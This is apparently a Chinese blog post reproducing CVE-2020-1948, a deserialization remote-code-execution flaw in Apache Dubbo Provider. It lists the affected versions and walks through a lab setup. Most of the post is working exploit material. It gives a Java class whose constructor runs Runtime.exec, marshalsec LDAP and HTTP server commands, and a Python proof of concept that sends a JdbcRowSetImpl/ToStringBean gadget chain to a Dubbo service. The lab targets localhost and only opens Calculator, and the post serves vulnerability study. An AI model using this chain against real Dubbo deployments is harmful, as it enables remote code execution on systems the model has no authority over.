Apache Dubbo Provider 反序列化漏洞 CVE-2020-1948

发布于 2024-09-18 01:09:09 字数 3681 浏览 8 评论 0

Apache Dubbo Provider 存在反序列化漏洞,攻击者可以通过 RPC 请求发送无法识别的服务名称或方法名称以及一些恶意参数有效载荷,当恶意参数被反序列化时,可以造成远程代码执行。

影响版本

Dubbo 2.7.0 - 2.7.6 Dubbo 2.6.0 - 2.6.7 Dubbo 2.5.x (官方不再维护)

环境搭建

复现环境:

  • MAC
  • Dubbo 2.5.9
  • JDK 8U20

环境下载地址: https://gist.github.com/OneSourceCat/01277dceba635eefbc010af36d3704d7

1、将下载的环境导入到 IDEA 中:

2、mac 下安装 zookeeper

brew install zookeeper
brew services start zookeeper

3、修改 Provider.java 文件,指定 Spring 加载配置文件的方式: ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/ dubbo-poc/DubboModules/src/resources/provider.xml") ;

4、修改 Consumer.java 文件,指定 Spring 加载配置文件的方式: ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("file:/Volumes/MacOS/WorkSpace/JAVA/ dubbo-poc/dubboconsumer/resources/consumer.xml") ;

5、运行 Provider.java

6、编译 ExportObject.java

public class ExportObject {
    public ExportObject() throws Exception {
        try {
            java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (java.io.IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) throws Exception {
        ExportObject e = new ExportObject();
    }
}
javac ExportObject.java

注意 :此处要用相同版本或低版本的 JDK 进行编译,否则反序列化失败。

7、启动 LDAP 服务:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#ExportObject" 8087

8、启动 HTTP 服务:

python3 -m http.server

9、运行 consumer.java ,反序列化:

发现可以成功弹出计算器。

使用 poc 进行测试: 使用前先 pip install dubbo

from dubbo.codec.hessian2 import Decoder,new_object
from dubbo.client import DubboClient

client = DubboClient('127.0.0.1', 20881)

JdbcRowSetImpl=new_object(
      'com.sun.rowset.JdbcRowSetImpl',
      dataSource="ldap://127.0.0.1:8087/#ExportObject",
      strMatchColumns=["foo"]
      )
JdbcRowSetImplClass=new_object(
      'java.lang.Class',
      name="com.sun.rowset.JdbcRowSetImpl",
      )
toStringBean=new_object(
      'com.rometools.rome.feed.impl.ToStringBean',
      beanClass=JdbcRowSetImplClass,
      obj=JdbcRowSetImpl
      )

resp = client.send_request_and_return_response(
    service_name='org.apache.dubbo.spring.boot.demo.consumer.DemoService',
    method_name='rce',
    args=[toStringBean])

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

陌伤浅笑

暂无简介

0 文章
0 评论
20 人气
更多

推荐作者

花开柳相依

文章 0 评论 0

zyhello

文章 0 评论 0

故友

文章 0 评论 0

对风讲故事

文章 0 评论 0

Oo萌小芽oO

文章 0 评论 0

梦明

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文